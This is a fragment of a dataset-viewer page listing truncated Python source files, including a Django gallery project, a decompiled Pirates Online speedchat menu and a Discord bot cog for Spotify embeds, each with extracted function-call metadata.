# Copyright (c) 2012 Brett Dixon
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without r... | [((2661, 2686), 'logging.getLogger', 'logging.getLogger', (['"""frog"""'], {}), "('frog')\n", (2678, 2686), False, 'import logging\n'), ((4852, 4894), 'frog.models.Gallery.objects.get_or_create', 'Gallery.objects.get_or_create', ([], {'title': 'title'}), '(title=title)\n', (4881, 4894), False, 'from frog.models import ... |
itsyaboyrocket/pirates | pirates/speedchat/PSpeedChatQuestMenu.py | 6ca1e7d571c670b0d976f65e608235707b5737e3 | # uncompyle6 version 3.2.0
# Python bytecode 2.4 (62061)
# Decompiled from: Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:19:30) [MSC v.1500 32 bit (Intel)]
# Embedded file name: pirates.speedchat.PSpeedChatQuestMenu
from otp.speedchat.SCMenu import SCMenu
from otp.speedchat.SCTerminal import *
from otp.speedchat.... | [((676, 697), 'otp.speedchat.SCMenu.SCMenu.__init__', 'SCMenu.__init__', (['self'], {}), '(self)\n', (691, 697), False, 'from otp.speedchat.SCMenu import SCMenu\n'), ((1091, 1111), 'otp.speedchat.SCMenu.SCMenu.destroy', 'SCMenu.destroy', (['self'], {}), '(self)\n', (1105, 1111), False, 'from otp.speedchat.SCMenu import... |
R3XET/coffee-cogs | spotifyembed/spotifyembed.py | e7658213449ec140edaaf322514eaafb575f99bd | # from redbot.core import Config
from redbot.core import Config, commands, checks
import asyncio
import aiohttp
import discord
from discord import Webhook, AsyncWebhookAdapter
import re
class Spotifyembed(commands.Cog):
"""Automatically send a reply to Spotify links with a link to the embed preview. Convenient for... | [((684, 732), 'redbot.core.commands.group', 'commands.group', ([], {'aliases': "['setspembed', 'setspe']"}), "(aliases=['setspembed', 'setspe'])\n", (698, 732), False, 'from redbot.core import Config, commands, checks\n'), ((738, 772), 'redbot.core.checks.guildowner_or_permissions', 'checks.guildowner_or_permissions', ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.